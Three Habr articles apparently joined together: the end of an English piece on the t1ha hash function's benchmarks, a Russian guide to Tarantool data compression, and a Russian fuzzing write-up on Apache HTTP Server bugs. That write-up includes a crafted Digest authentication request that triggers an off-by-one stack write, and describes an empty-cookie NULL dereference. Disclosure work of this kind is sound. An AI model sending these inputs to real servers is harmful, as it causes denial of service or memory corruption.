**64-bit result**: To construct hash tables, in many cases, a smaller bit width result is enough. Even 32 bits may be more than sufficient. However, when using 64-bit operations, the 64-bit result comes naturally. At the same time, a sufficiently high-quality 64-bit hash result allows you to quickly perform a comparison for non-equality, and with good accuracy to compare for equality.
The above "magic" of replacing comparisons can seem unclear and unnecessary, or it can **increase the speed of hashing by an order of magnitude** just by means of data locality, i.e. less CPU cache pollution. Simply put, one can build a hash table structure in such a way that the calculated hash values lie side by side (packed in cache lines). The CPU then would only grab the real data if the hash values matched. And in this case, the *64-bits from t1ha allow to get the best possible result*. That being said, 128 bits will not provide an advantage anymore, while taking less from 64 bits is always possible.
**Comparison with HighwayHash** : I have mixed feelings about this [unofficial project by Google employees](https://github.com/google/highwayhash).
1. On the one hand, it has good code and excellent technical implementation. On the other hand, *HighwayHash* is positioned as *possibly* cryptographically strong (at least equal to [SipHash](https://en.wikipedia.org/wiki/SipHash)). Inside HighwayHash there are quite a few manipulations that allow us to expect that the result will not be bad. However, there are no proofs that would allow us to reliably say that. The provided proof of "strength" comes down to the results of statistical tests, but with no ability to reproduce them (at one point I even allowed myself a somewhat superfluous [comment](https://github.com/google/highwayhash/issues/41)).
2. HighwayHash is really fast only on x86\_64 with AVX2 or SSE41. Is it not easier then to just use AES-NI or SHA acceleration?
If all goes well, additional options will be added to the t1ha suite (primarily for the result bitness) and optimized for E2K. With this I would like to close the topic of comparisons with HighwayHash.
---
Quality
-------
Evaluating the quality of a hash function in all aspects can be quite difficult. It can be done either analytically or by implementing various statistical tests. Unfortunately, the analytical approach is not very effective for evaluating hash functions with a compromise between quality and speed. Moreover, a comparative analytical evaluation of such functions tends to be subjective.
In contrast, statistical tests can provide clear quantitative estimates. For such purposes there are well-proven test packages, such as [SMHasher](https://github.com/aappleby/smhasher). For *t1ha*, the results are simple — all **t1ha** variants pass all tests without any comments. On the other hand, one should not assume that t1ha has any properties in excess of those that are necessary for the target application (building hash tables).
The number of collisions at all levels (variants) of **t1ha** corresponds to the [birthday paradox](https://en.wikipedia.org/wiki/Birthday_attack). To formulate it strictly — the collision probability in **t1ha** corresponds to the probability of coincidence of random discrete values with corresponding bitness.
A similar probability of collisions is observed in all high-quality hash functions. However, this is only probability, so the actual number of collisions can vary for each specific data set.
After this article was first published, [Yves Orton discovered](https://github.com/demerphq/smhasher), that the first `t1ha1()` does not always meet the [strict avalanche criterion](https://en.wikipedia.org/wiki/Avalanche_effect). This drawback is insignificant for targeted applications of `t1ha1()` and unnoticeable from a practical point of view. However, this disadvantage is eliminated in the next `t1ha2()`level/variant, which was originally planned to provide a slightly higher quality. On new processors, which use current versions of compilers, `t1ha2()` is on average one cycle faster than `t1ha1()`, and in the rest of cases it can be one cycle slower. It is worth noting that `t1ha2()` additionally offers stream hashing mode and a 128-bit result.
Readers would certainly appreciate a thorough and in-depth analysis of the quality and/or strength of **t1ha**. However, based on the target **t1ha** application areas, this seems redundant. Simply put, speed was more important to us, even for short keys. Therefore, multi-round mixing was not considered. The present *t1ha* version saves on cycles and gives a 64-bit result — it is practically pointless to measure the found compromise in any way other than statistically, and its results are simply good.
**In fact**I just followed my colleagues from Google in how they provide their [statistical proof](https://arxiv.org/abs/1612.06257)
---
Benchmarks
----------
Regarding the claim of being «*the fastest*». it is important to note that it is obviously not likely that there is a hash function that is at the same time useful and the fastest on all platforms/architectures. Different processors have different sets of instructions available and execute similar instructions with different efficiencies. Obviously, the «*universally fastest*» function most likely cannot be created. However, it seems acceptable to use the term «the
fastest» for a function that is portable and at the same time the fastest, at least on the most common platform (x86\_64), while having little chance of losing on any modern processor with a decent optimizing compiler.
The source code of the project includes a test that checks both the correctness of the result and measures the speed of each implemented variant. At the same time, on x86, depending on the capabilities of the processor (and the compiler), additional variants of functions can be checked, and measurements are made in processor cycles.
In addition, the project website contains tables with the results of performance measurements through a modified version of [SMHasher from Reini Urban](https://github.com/rurban/smhasher). One can double-check all figures and/or get results on a specific processor using a specific compiler.
Here you can compare t1ha with some of its closest competitors.
**Hashing short keys** (average for 1..31 bytes).
*Look at the right column «Cycles/Hash» (smaller is better)*:
| Function | MiB/Second | Cycles/Hash |
| --- | --- | --- |
| t1ha | 12228.80 | 35.55 |
| FastHash64 | 5578.06 | 43.42 |
| CityHash64 | 11041.72 | 51.77 |
| xxHash64 | 11123.15 | 56.17 |
| MetroHash | 11808.92 | 46.33 |
**Hashing long keys** (256 Kb).
*Look at the middle column «MiB/Second» (larger is better)*:
| Function | MiB/Second | Cycles/Hash |
| --- | --- | --- |
| t1ha | 12228.80 | 35.55 |
| FarmHash64 | 12145.36 | 60.12 |
| CityHash64 | 11041.72 | 51.77 |
| xxHash64 | 11123.15 | 56.17 |
| Spooky64 | 11820.20 | 60.39 |
---
Variants of t1ha
----------------
Development of **t1ha** The first of such goals was to obtain a fast portable function of sufficiently high quality for constructing hash tables.
Then we wanted to have the fastest version of the hash function that would give a result of comparable quality but was adapted to the target platform as much as possible. For example, the basic **t1ha** version works with little-endian byte order, due to which a conversion is necessary for big-endian architectures with inevitable loss of performance. So why not get rid of unnecessary operations on a specific target platform? This way, several more options were added:
* Simplified version for 32-bit platforms, both little and big-endian.
* Variant using AES-NI instructions, but without AVX.
* Two variants using the AES-NI and AVX instructions.
Later it became clear that more options designed for various applications would be needed, including different bit width results, quality and durability requirements. Such diversity required proper systematization. This was achieved by changing the naming scheme, in which the numeric suffix indicates the “level” of the function:
* `t1ha0()` — is the fastest option for the current processor.
* `t1ha1()` — is the basic portable 64-bit version of t1ha.
* `t1ha2()` — is a portable 64-bit version with a little more concern for quality.
* `t1ha3()` — is a fast portable 128-bit version for fingerprinting.
* etc.
In this scheme, it is assumed that `t1ha0()` is a dispatcher that implements redirection depending on the platform and capabilities of the current processor. In addition, the use of the suffixes "\_le" and "\_be" for an explicit choice between the little-endian and big-endian variants can be introduced. Thus, under the “t1ha” signboard now there are several hash functions, and this family will grow I the future, including a version optimized for Russian E2K “Elbrus”.
A general idea of the current set of functions and their properties can be grasped by looking at the built-in test output (`make check`). It is worth noting that all functions pass all SMHasher tests, and the performance of the AES-NI variants varies greatly depending on the processor model:
```
Intel(R) Core(TM) i7-6700K CPU @ 3.00GHz
Build by GNU C/C++ compiler 8.2
[...]
- use RDPMC_40000001 as clock source
- measure granularity and overhead: 53 cycles, 0.0188679 iteration/cycle
Bench for tiny keys (7 bytes):
t1ha0 : 13.14 cycle/hash, 1.877 cycle/byte, 1.598 Gb/s @3GHz
t1ha1_64le : 15.14 cycle/hash, 2.163 cycle/byte, 1.387 Gb/s @3GHz
t1ha2_atonce : 15.50 cycle/hash, 2.163 cycle/byte, 1.387 Gb/s @3GHz
t1ha1_64be : 16.78 cycle/hash, 2.397 cycle/byte, 1.251 Gb/s @3GHz
xxhash32 : 17.17 cycle/hash, 2.453 cycle/byte, 1.223 Gb/s @3GHz
StadtX : 17.59 cycle/hash, 2.513 cycle/byte, 1.194 Gb/s @3GHz
t1ha0_32le : 18.28 cycle/hash, 2.612 cycle/byte, 1.149 Gb/s @3GHz
t1ha0_32be : 20.24 cycle/hash, 2.892 cycle/byte, 1.037 Gb/s @3GHz
xxhash64 : 22.17 cycle/hash, 3.167 cycle/byte, 0.947 Gb/s @3GHz
t1ha2_atonce128* : 29.93 cycle/hash, 4.277 cycle/byte, 0.701 Gb/s @3GHz
t1ha2_stream* : 79.81 cycle/hash, 11.402 cycle/byte, 0.263 Gb/s @3GHz
HighwayHash64_avx2 : 83.75 cycle/hash, 11.964 cycle/byte, 0.251 Gb/s @3GHz
HighwayHash64_sse41 : 85.25 cycle/hash, 12.179 cycle/byte, 0.246 Gb/s @3GHz
t1ha2_stream128* : 99.06 cycle/hash, 14.152 cycle/byte, 0.212 Gb/s @3GHz
HighwayHash64_portable: 480.75 cycle/hash, 68.679 cycle/byte, 0.044 Gb/s @3GHz
HighwayHash64_pure_c : 652.58 cycle/hash, 93.226 cycle/byte, 0.032 Gb/s @3GHz
Bench for large keys (16384 bytes):
t1ha0 : 1185.00 cycle/hash, 0.072 cycle/byte, 41.478 Gb/s @3GHz
t1ha2_atonce : 3436.00 cycle/hash, 0.210 cycle/byte, 14.305 Gb/s @3GHz
t1ha2_atonce128* : 3440.00 cycle/hash, 0.210 cycle/byte, 14.288 Gb/s @3GHz
t1ha1_64le : 3449.00 cycle/hash, 0.211 cycle/byte, 14.251 Gb/s @3GHz
t1ha2_stream* : 3479.00 cycle/hash, 0.212 cycle/byte, 14.128 Gb/s @3GHz
t1ha2_stream128* : 3508.00 cycle/hash, 0.214 cycle/byte, 14.011 Gb/s @3GHz
StadtX : 3550.00 cycle/hash, 0.217 cycle/byte, 13.846 Gb/s @3GHz
xxhash64 : 4121.00 cycle/hash, 0.252 cycle/byte, 11.927 Gb/s @3GHz
t1ha1_64be : 4567.00 cycle/hash, 0.279 cycle/byte, 10.762 Gb/s @3GHz
HighwayHash64_avx2 : 4580.00 cycle/hash, 0.280 cycle/byte, 10.732 Gb/s @3GHz
HighwayHash64_sse41 : 6412.00 cycle/hash, 0.391 cycle/byte, 7.666 Gb/s @3GHz
t1ha0_32le : 7191.00 cycle/hash, 0.439 cycle/byte, 6.835 Gb/s @3GHz
t1ha0_32be : 7928.00 cycle/hash, 0.484 cycle/byte, 6.200 Gb/s @3GHz
xxhash32 : 8197.00 cycle/hash, 0.500 cycle/byte, 5.996 Gb/s @3GHz
HighwayHash64_portable: 41895.27 cycle/hash, 2.557 cycle/byte, 1.173 Gb/s @3GHz
HighwayHash64_pure_c : 53296.11 cycle/hash, 3.253 cycle/byte, 0.922 Gb/s @3GHz
```
---
**A little bit about the internal structure**To delve into a little more detail, **t1ha** is built according to the [Merkle-Damgård scheme](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction) (“wipe-pipe” version) with strengthening from the data size and the seed value. Inside the main compression loop, a 256-bit state is used, with the same size of the input block. Moreover, for each data operand there are two injection points with cross pollination. Upon completion of the compression cycle, the 256-bit state is compressed to 128 bits.
When performing the above actions, 64-bit operations, combined into mixers ARX (Add-Rotate-Xor) and MUX/MRX (Mul-Rotate-Xor), are used. It is important that all these calculations are built in such a way as to ensure the possibility of parallel execution of most operations and tight packing of u-ops both into the pipeline and into x86\_64 execution units. Due to this, a sufficiently good quality is achieved with almost maximum hash rate for long keys.
It is worth noting that the compression loop runs only for blocks of sufficient size. If there is less data, then the intermediate 128-bit state will consist only of the key size and the salt value.
Then, the remaining tail of the data is mixed in portions of 64 bits alternately to the halves of the 128-bit state. Finally, the state is mixed and simultaneously compressed to a 64-bit result. An important feature of t1ha here is the use of a mixer based on wide multiplication (128-bit product of two 64-bit multipliers). This allows for good quality mixing with a good avalanche effect and fewer operations. Even though wide multiplication is a relatively expensive operation, fewer such operations allow t1ha to process short keys in a record-low number of processor cycles.
It should be noted that the mixer based on wide multiplication and exclusive OR is not perfect. Although *t1ha* passes all *SMHasher*, tests, the author understands the consequences of [non-injectivity](https://en.wikipedia.org/wiki/Injective_function)). Nevertheless, the resulting quality seems to be rationally sufficient, and the development plans for the t1ha line already reflect the intention to provide a slightly higher quality variants.
You can find more information and source code [here](https://github.com/leo-yuriev/t1ha).
*Thank you for reading!* | https://habr.com/ru/post/439156/ | null | en | null |
# Как мы сжимаем данные в больших проектах
Привет! Меня зовут Александр Кленов, и я работаю в Tarantool. В апреле вышел Tarantool 2.10 Enterprise Edition – обновленная версия платформы in-memory вычислений. В версии 2.10 появилось несколько новых функций, о которых уже немного [рассказывали на Хабре](https://habr.com/ru/company/vk/blog/663240/).
В этой статье я хочу подробнее остановиться на одной из фичей — сжатии данных в оперативной памяти. Далее я расскажу, как ей пользоваться, что может, а чего не может данный механизм, как его применять и какие существуют особенности.
### Как включить сжатие
Все просто — нужно указать в настройках поля, что его надо сжимать: compression = '<вариант>'.
Доступно два варианта сжатия:
* zstd,
* lz4.
Например:
```
local space = box.schema.space.create(space_name, { if_not_exists = true })
space:format({
{name = 'uid', type = 'string'},
{name = 'body', type = 'string', compression = 'zstd'},
})
```
Если это не новый, а существующий проект с данными, понадобится также вызвать фоновую миграцию:
```
box.schema.func.create('noop', {
is_deterministic = true, body = 'function(t) return t end'
})
space:upgrade{func = 'noop', format = {
{name = 'uid', type = 'string'},
{name = 'body', type = 'string', compression = 'zstd'},
}}
```
Подробнее [смотрите в документации](https://www.tarantool.io/en/enterprise_doc/tuple_compression/)
### Каких результатов можно добиться за счет сжатия?
Итак, мы подключили фичу. Давайте посмотрим, что хорошего она может нам дать. В качестве примера возьмем реальный проект – данные крупного телеком-оператора. Это 100 тысяч различных JSON-документов общим объемом 316 МБ.
По очереди мы применим разные варианты сжатия. CPU в нашем случае = 3,6 ГГц. Для лучшего сравнения методов добавим сжатие с помощью внешней библиотеки ZLIB.
Тестирование показало следующие результаты:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Метод** | **Время упаковки и записи в таблицу, сек** | **Время чтения и распаковки, сек** | **Конечный размер спейса, МБ** | **Коэффициент сжатия** | **Сжатие, %** |
| ZSTD | 61.222 | 0.889 | 113.234 | 2.790 | 64.16 |
| LZ4 | 7.701 | 0.963 | 186.499 | 1.694 | 40.97 |
| ZLIB\* | 16.119 | 3.528 | 121.958 | 2.590 | 61.40 |
\* Внешняя библиотека ZLIB
Исходник теста можно посмотреть [на Гитхабе](https://github.com/a1div0/habr-post-tnt-compress/blob/master/one_instance.lua).
Ключевой вывод – все три метода работают по-разному. ZSTD сжимает эффективно, но медленно и при этом достаточно быстро распаковывает документы. LZ4 – быстро сжимает и разжимает, но коэффициент сжатия уступает остальным методам. Сжатие с использованием ZLIB сопоставимо с результатами ZSTD и при этом не слишком медленно, однако проседает скорость разжатия.
### Сжатие в кластере
В реальных продуктовых проектах экземпляры Tarantool разделены по ролям. Для нашего примера важно выделить две:
* маршрутизатор (router),
* хранилище (storage).
Сжатие данных в кластере – не такая линейная задача, как сжатие одного узла. Это можно организовать разными способами в зависимости от места сжатия и разжатия. У каждого способа есть свои плюсы и минусы. Рассмотрим три варианта.
#### Вариант первый — быстрый эффект
Сжимаем и разжимаем в хранилище. Этот вариант обеспечивает описываемая в статье функциональность. Подходит, если нужно быстро и при ничтожных изменениях проекта высвободить кучу места.
Звучит здорово, но это вызывает дополнительную нагрузку на ЦП хранилища и его замедление. Более того, каждая реплика будет повторять то же самое сжатие. Как следствие — снижение производительности кластера. Хранилище со встроенным упаковщиком дороже масштабировать. То есть вместо одного дополнительного упаковщика придется поставить рядом хранилище с упаковщиком.
Посмотреть пример, как сделать, можно здесь:
Локальная переменная `enable_zlib` в роутере должна иметь значение `= false`. В хранилище в 11-й строке нужно указать тип сжатия.
Такой вариант подойдет – если срочно нужно освободить место. То есть как временное решение. Если нагрузка позволяет – это может быть постоянным решением. Это про быстро и дешево.
Если вы хотите сохранить производительность кластера, потребуется больше усилий.
#### Вариант второй — максимальная производительность
Сжимаем и разжимаем на роутере. Это дает больше производительности, но встроенное сжатие никак не поможет — придется подключать внешнюю библиотеку и реализовывать дополнительную логику работы с ней. В мастер и на реплики тогда будут попадать уже упакованные данные.
В качестве примера можно использовать пару [роутер](https://github.com/a1div0/habr-post-tnt-compress/blob/master/router.lua)-[хранилище](https://github.com/a1div0/habr-post-tnt-compress/blob/master/storage.lua), приведенную выше. Только переменная `enable_zlib` в роутере должна иметь значение `= true`. В хранилище тип сжатия не указываем.
Плюсы:
* не нагружаем хранилище;
* уменьшаем трафик между роутером и стораджем;
* легче масштабируем — ставим нужное количество роутеров с упаковщиком до требуемой производительности.
Минусы:
* нужно реализовать логику упаковщика на роутере;
* появляется задержка на роутере на сжатие и распаковку.
Если хочется большего, то можно управлять сжатием в виде отдельной роли. Это позволит регулировать число роутеров отдельно от числа инстансов сжатия. Более гибко регулировать утилизацию ресурсов. В этом случае можно рассмотреть третий вариант.
#### Вариант третий — ленивое сжатие
Сжимаем на отдельном экземпляре, разжимаем на роутере. То есть пишем в хранилище как есть с признаком «не упакован». Далее реализуем отдельную роль «упаковщик», которая проходит по мастер-хранилищам и упаковывает все не упакованное. Если данные поступают быстро и надо паковать быстрее — добавляем ещё экземпляры упаковщика. На реплики будут попадать уже упакованные данные.
Посмотреть пример реализации, чтобы понять идею, можно [здесь](https://github.com/a1div0/habr-post-tnt-compress/tree/master/variant-3).
Его можно нагрузить тем же нагрузочным тестом. Результаты он покажет как при записи без сжатия, потому что сжатие происходит не при записи, а в отдельном параллельном процессе.
Плюсы:
* нет задержки на роутере на запись данных;
* процесс сжатия масштабируется максимально выгодно;
* меньше экземпляров кластера;
* не нагружаем хранилище как в первом варианте.
Минусы:
* дополнительный трафик в кластере — между хранилищем и упаковщиком;
* некоторая дополнительная нагрузка на хранилище — плюс по одной операции чтения и записи;
* нужно реализовать отдельную роль — упаковщик;
* нужно реализовать логику распаковки на роутере.
Это может быть полезно:
* если вы хотите быстро записывать данные - сразу записывать не сжимая;
* регулировать скорость сжимания - либо уменьшить число инстансов, либо наоборот - увеличить, и через это более гибко расходовать свои ресурсы.
#### Эффект переноса сжатия на роутер
На фоне предложенных вариантов хочется проследить эффект от переноса сжатия с хранилища на роутер, как наиболее производительный. Давайте соберем маленький кластер на два экземпляра — роутер и хранилище. И попробуем нагрузить его при разных способах упаковки.
Реализация стенда:
* [Реализация роутера](https://github.com/a1div0/habr-post-tnt-compress/blob/master/router.lua).
* [Реализация хранилища](https://github.com/a1div0/habr-post-tnt-compress/blob/master/storage.lua).
* [Модуль для нагрузочного обстрела на запись модуль](https://github.com/a1div0/habr-post-tnt-compress/blob/master/k6-test-write.js). И [вспомогательный модуль для генерации данных](https://github.com/a1div0/habr-post-tnt-compress/blob/master).
Максимальная продолжительность испытаний выбрана 30 секунд. Потому, что с одной стороны не слишком долго ждать выполнения тестов, с другой – этого достаточно для тестирования нагрузки. За это время мы генерируем 100 тысяч запросов на запись на роутер от лица 10 виртуальных пользователей. Консольный вывод результатов можно посмотреть [здесь](https://github.com/a1div0/habr-post-tnt-compress/blob/master/k6-results.md). Ниже результаты сведены в одну таблицу.
| | | | | |
| --- | --- | --- | --- | --- |
| **Показатель \ Сценарий** | **Без сжатия** | **ZLIB** | **ZSTD** | **LZ4** |
| Запросов выполнено, шт | 100000 | 100000 | 46964 | 100000 |
| Длительность выполнения запросов, сек | 14.1 | 27.8 | 30.0 | 15.7 |
| K6 data\_received, MB | 23 | 23 | 11 | 23 |
| K6 data\_sent, MB | 341 | 342 | 160 | 341 |
| http\_req\_blocked, µs | 2.46 | 1.81 | 2.12 | 2.17 |
| http\_req\_connecting, ns | 13 | 7 | 20 | 16 |
| http\_req\_duration, ms | 0.716 | 2.27 | 5.78 | 0.934 |
| http\_req\_failed, % | 0 | 0 | 0 | 0 |
| http\_req\_receiving, µs | 31.1 | 25.59 | 25.8 | 28.71 |
| http\_req\_sending, µs | 20.08 | 16.78 | 19.42 | 19.22 |
| http\_req\_waiting, ms | 0.665 | 2.22 | 5.74 | 0.886 |
| RPS | 7076 | 3595 | 1565 | 6351 |
| iteration\_duration, ms | 1.4 | 2.77 | 6.38 | 1.56 |
Итак мы видим, что по ключевым параметрам, таким как число запросов в секунду (RPS), задержке (http\_req\_duration) и общему времени выполнения запроса (iteration\_duration) - вариант со сжатием на роутере выгодно отличается от сжатия в хранилище.
В первую очередь это происходит потому, что сжатие методом ZSTD происходит дольше, чем методом ZLIB. Также свой вклад вносит то, что данные от роутера до хранилища идут уже сжатые и таким образом в само хранилище нужно записывать меньше данных. Также плюсом идёт то, что не нужно нагружать хранилище сжатием.
### Выводы
Tarantool развивается и обрастает новыми фичами. Встроенный в 2.10EE механизм сжатия полезен, но не является панацеей. Порядок действий зависит от конкретной ситуации — отсюда и возникают рекомендации по применению.
Если у нас нет желания или возможности использовать внешнюю библиотеку - мы можем использовать встроенное сжатие методом LZ4. Данный метод позволяет высвободить 40% места почти без просадки по RPS (6351 LZ4 против 7076 без сжатия). При этом включается фактически «одной галочкой» — на мой взгляд весьма неплохо.
Если требуется жать сильнее, или производительнее, или дешевле — нужны дополнительные усилия, которые описаны выше.
Скачать Tarantool можно [на официальном сайте](https://www.tarantool.io/ru/download?utm_source=habr&utm_medium=articles&utm_campaign=2021), а получить помощь — [в Telegram-чате](https://t.me/tarantoolru?utm_source=habr&utm_medium=articles&utm_campaign=2021). | https://habr.com/ru/post/672760/ | null | ru | null |
# Фаззинг сокетов: Apache HTTP Server. Часть 3: результаты
> *Прим. Wunder Fund:* наш СТО [Эмиль](https://youtu.be/662q9FVqp50) по совместительству является известным white-hat хакером и специалистом по информационной безопасности, и эту статью он предложил как хорошее знакомство с фаззером afl и вообще с фаззингом как таковым.
>
>
В [первой части](https://habr.com/ru/company/wunderfund/blog/650023/) этой серии статей я рассказал о том, как организовать фаззинг Apache HTTP Server с привлечением кастомных мутаторов. Во [втором](https://habr.com/ru/company/wunderfund/blog/650815/) материале я раскрыл вопрос создания перехватчиков ASAN, которые позволяют выявлять ошибки при использовании собственных реализаций пулов памяти.
Эта статья, третья и последняя, посвящена результатам моих исследований. Я расскажу тут об обнаруженных мной уязвимостях Apache.
### Разыменование NULL в session\_identity\_decode
Эту ошибку можно вызвать, поместив в `Cookie` пару ключ/значение, оба элемента которой равны `NULL`.
В качестве ключа и значения используется NULLВ этом примере можно заметить, что первую позицию в `Cookie` занимает ключ `session` и значение `choko`. Во второй позиции ключом является `admin-user`, а значением — число `2`. А вот третья позиция представлена пустыми ключом и значением.
Что здесь за проблема? Если посмотреть на следующий фрагмент кода, там можно заметить два вызова `apr_strtok`, направленных на извлечение первой и второй строки (ключа и значения):
```
const char *psep = "=";
char *key = apr_strtok(pair, psep, &plast);
char *val = apr_strtok(NULL, psep, &plast);
```
А вот что происходит в функции `apr_strtok` в том случае, если первым её аргументом является `NULL`:
```
APR_DECLARE(char *) apr_strtok(char *str, const char *sep, char **last)
{
char *token;
if (!str)
str = *last;
while (*str && strchr(sep, *str))
++str;
```
Тут можно видеть, что в цикле `while` делается попытка разыменовать первый аргумент функции (указатель `str`). Если этот аргумент представлен значением `NULL` — это приведёт к ошибке разыменования `NULL`. Кроме того, именно это происходит в инструкции `char *val = apr_strtok(NULL, psep, &plast);`, когда предыдущий ключ тоже представлен `NULL`.
Воспользоваться этой ошибкой можно при включённом модуле `mod_session`. Эта уязвимость может привести к отказу в обслуживании на уровне дочернего потока процесса, повлияв на другие его потоки.
### Ошибка неучтённой единицы (воздействующая на стек) в check\_nonce
Для того чтобы воспользоваться этой ошибкой — нужно, чтобы был включён модуль `mod_auth_digest`, и чтобы приложение использовало бы метод аутентификации `DIGEST`.
Для вызова ошибки нужно назначить полю `nonce` специфический набор значений:
```
GET http://127.0.0.1/i?proxy=yes HTTP/1.1
Host: foo.example
Accept: /
Authorization: Digest username="2",
realm="private area",
nonce="d2hhdGFzdXJwcmlzZXhkeGR4ZHhkeGR4ZHhkeGR4ZHhkeGR4ZA==",
uri="http://127.0.0.1:80/i?proxy=yes",
qop=auth,
nc=00000001,
cnonce="0a4f113b",
response="53849ce65ba787cd0a07a272ece3bba6",
opaque="5ccc069c403ebaf9f0171e9517f40e41"
```
Как видите, поле `nonce` содержит значение в кодировке `BASE64`. Для декодирования этого значения функция `check_nonce` выполняет следующий вызов:
```
apr_base64_decode_binary(nonce_time.arr, resp->nonce)
```
Здесь `nonce_time.arr` — это локальный массив размером 8 байтов. Посмотрим на код функции `apr_base64_decode_binary`:
```
APR_DECLARE(int) apr_base64_decode_binary(unsigned char *bufplain, const char *bufcoded)
{
int nbytesdecoded;
register const unsigned char *bufin;
register unsigned char *bufout;
register apr_size_t nprbytes;
bufin = (const unsigned char *) bufcoded;
while (pr2six[*(bufin++)] <= 63);
nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
nbytesdecoded = (((int)nprbytes +3) / 4) * 3;
bufout = (unsigned char *) bufplain;
bufin = (const unsigned char *) bufcoded;
while (nprbytes > 4) {
*(bufout++) =
(unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
*(bufout++) =
(unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
*(bufout++) =
(unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
bufin += 4;
nprbytes -= 4;
}
if (nprbytes > 1) {
*(bufout++) =
(unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
}
if (nprbytes > 2) {
*(bufout++) =
(unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
}
if (nprbytes > 3) {
*(bufout++) =
(unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
}
```
В обычных обстоятельствах в переменной `nprbytes` окажется значение 11, а цикл `while` будет выполнен два раза, записав всего 8 байтов в массив `bufplain` (6 + 2). Но если дата имеет неправильный формат, при вычислении значения переменной `nprbytes` может получиться число 12. В результате в этих случаях цикл `while` будет выполнен три раза, в массив `bufplain` будет записано 9 байтов. Вследствие этого программа запишет 1 байт за пределами локального массива `nonce_time.arr`, перезаписав 1 байт стека программы (так и происходит ошибка неучтённой единицы).
### Ошибка в cleanup\_tables, связанная с использованием памяти после её освобождения
Тут у нас имеется ошибка, связанная с использованием памяти после её освобождения (Use After Free, UAF) в функции `cleanup_tables`. Посмотрим на код этой функции:
```
static apr_status_t cleanup_tables(void *not_used)
{
ap_log_error(APLOG_MARK, APLOG_INFO, 0, NULL, APLOGNO(01756)
"cleaning up shared memory");
if (client_rmm) {
apr_rmm_destroy(client_rmm);
client_rmm = NULL;
}
if (client_shm) {
apr_shm_destroy(client_shm);
client_shm = NULL;
}
```
Она вызывает функцию `apr_rmm_destroy` для освобождения блока памяти `client_rmm`. Но тут есть одна проблема: в определённых обстоятельствах этот блок памяти уже может быть освобождён функцией `apr_allocator_destroy` (её код тут не показан).
В результате программа пытается обратиться к недействительному адресу памяти. Это приводит к появлению уязвимости UAF. Тут важно заметить, что эта уязвимость может быть активирована лишь в режиме `ONE_PROCESS`.
### Ошибка записи данных за пределами допустимого диапазона (воздействующая на кучу) в ap\_escape\_quotes
В данном случае перед нами ошибка, связанная с записью данных за пределами допустимого диапазона в куче, воздействующая на функцию `ap_escape_quotes`. Эта функция экранирует кавычки в предоставленной ей строке. Источник данной ошибки — несовпадение длины входной строки и буфера `outstring`, память под который «выделена» с помощью `malloc`.
В следующем фрагменте кода показано вычисление длины входной строки:
```
while (*inchr != '\0'){
newlen++;
if (*inchr == '"') {
newlen++;
}
if ((*inchr == '\\') && (inchr[1] != '\0')) {
inchr++;
newlen++;
}
inchr++;
}
outstring = apr_palloc(p, newlen + 1);
```
А вот — вычисление размера `outstring`:
```
while (*inchr != '\0') {
if ((*inchr == '\\') && (inchr[1] != '\0')) {
*outchr++ = *inchr++;
*outchr++ = *inchr++;
}
if (*inchr == '"') {
*outchr++ = '\\';
}
if (*inchr != '\0') {
*outchr++ = *inchr++;
}
}
*outchr = '\0';
return outstring;
```
Как видите, при вычислении размеров этих сущностей используется различная логика. В результате, если функции `ap_escape_quotes` предоставить особые входные данные, возникает возможность записи данных за пределами массива `outchr`.
Об этой ошибке, за несколько дней до того, как я её обнаружил, сообщили исследователи из проекта Google OSS-Fuzz.
### Состояние гонок, ведущее к UAF
Теперь хочу рассказать кое о чём совершенно отличном от того, о чём уже рассказывал. В данном случае ошибка представлена состоянием гонок, которое ведёт к UAF и воздействует на Apache Core.
В ходе моих фаззинг-исследований я столкнулся с множеством невоспроизводимых UAF-падений программы. Глубже проанализировав ситуацию, я обнаружил нечто вроде состояния гонок между `apr_allocator_destroy` и `allocator_alloc`. Всё указывало на то, что эти функции в конкурентных сценариях могут не отличаться потокобезопасностью. Это может привести к повреждениям в некоторых узлах памяти и, иногда, к тому, что программа пытается освободить память, которая уже находится в пуле `free`. Этот баг чем-то cхож с багом ProFTPd, о котором я сообщал год назад ([CVE-2020-9273](https://securitylab.github.com/research/fuzzing-sockets-FTP/)).
Ниже представлен пример соответствующего стек-трейса ASAN:
```
==106820==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000091100 at pc 0x7ffff7d2ff4d bp 0x7fffffffd800 sp 0x7fffffffd7f8
READ of size 8 at 0x625000091100 thread T0
#0 0x7ffff7d2ff4c in apr_allocator_destroy /home/antonio/Downloads/httpd-trunk/srclib/apr/memory/unix/apr_pools.c:197:26
#1 0x7ffff7d3306c in apr_pool_terminate /home/antonio/Downloads/httpd-trunk/srclib/apr/memory/unix/apr_pools.c:756:5
#2 0x7ffff77aeba6 in __run_exit_handlers /build/glibc-5mDdLG/glibc-2.30/stdlib/exit.c:108:8
#3 0x7ffff77aed5f in exit /build/glibc-5mDdLG/glibc-2.30/stdlib/exit.c:139:3
#4 0x5b1ae8 in clean_child_exit /home/antonio/Downloads/httpd-trunk/server/mpm/event/event.c:777:5
#5 0x5b19a5 in child_main /home/antonio/Downloads/httpd-trunk/server/mpm/event/event.c:2957:5
#6 0x5afa7b in make_child /home/antonio/Downloads/httpd-trunk/server/mpm/event/event.c:2981:9
#7 0x5af005 in startup_children /home/antonio/Downloads/httpd-trunk/server/mpm/event/event.c:3046:13
#8 0x5a74c1 in event_run /home/antonio/Downloads/httpd-trunk/server/mpm/event/event.c:3407:9
#9 0x6212b1 in ap_run_mpm /home/antonio/Downloads/httpd-trunk/server/mpm_common.c:100:1
#10 0x5e67e6 in main /home/antonio/Downloads/httpd-trunk/server/main.c:891:14
#11 0x7ffff778c1e2 in __libc_start_main /build/glibc-5mDdLG/glibc-2.30/csu/../csu/libc-start.c:308:16
#12 0x44da7d in _start ??:0:0
```
Эта проблема не нова. О похожих ошибках сообщал в 2018 году Ханно Бок ([hanno](https://habr.com/ru/users/hanno/)). [Тут](https://github.com/hannob/apache-uaf) можно найти его отчёты.
